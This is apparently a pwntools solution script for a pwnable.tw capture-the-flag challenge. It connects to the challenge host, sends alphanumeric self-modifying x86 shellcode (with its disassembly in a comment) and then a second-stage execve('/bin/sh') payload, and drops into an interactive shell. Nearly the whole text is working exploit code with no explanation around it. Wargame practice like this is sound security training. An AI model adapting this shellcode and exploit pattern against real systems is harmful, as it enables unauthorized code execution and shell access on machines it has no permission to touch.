text: from pwn import *
  
  io = remote('chall.pwnable.tw', 10301)
  
  context.arch = 'i386'
  
  '''
  00000000  50                push eax
  00000001  59                pop ecx
  00000002  354D6E4F32        xor eax,0x324f6e4d
  00000007  3439              xor al,0x39
  00000009  3446              xor al,0x46
  0000000B  50                push eax
  0000000C  5A                pop edx
  0000000D  7231              jc 0x40
  0000000F  42                inc edx
  00000010  52                push edx
  00000011  6831303030        push dword 0x30303031
  00000016  5A                pop edx
  00000017  7231              jc 0x4a
  00000019  58                pop eax
  0000001A  653130            xor [gs:eax],esi
  0000001D  304163            xor [ecx+0x63],al
  00000020  49                dec ecx
  00000021  344B              xor al,0x4b
  00000023  3430              xor al,0x30
  00000025  3436              xor al,0x36
  00000027  304163            xor [ecx+0x63],al
  0000002A  53                push ebx
  0000002B  58                pop eax
  0000002C  653130            xor [gs:eax],esi
  0000002F  3433              xor al,0x33
  00000031  3430              xor al,0x30
  '''
  
  periodic_shellcode = 'PY5MnO2494FPZr1BRh1000Zr1Xe100AcI4K40460AcSXe104340' + 'O' * 0x2f
  shell_shellcode = b'\0' * 0x65 + asm('''
      mov eax, 0xb
      push 0x0068732f
      push 0x6e69622f
      mov ebx, esp
      xor ecx, ecx
      xor edx, edx
      int 0x80
  ''')
  
  io.sendline(periodic_shellcode)
  io.sendline(shell_shellcode)
  
  io.interactive()
  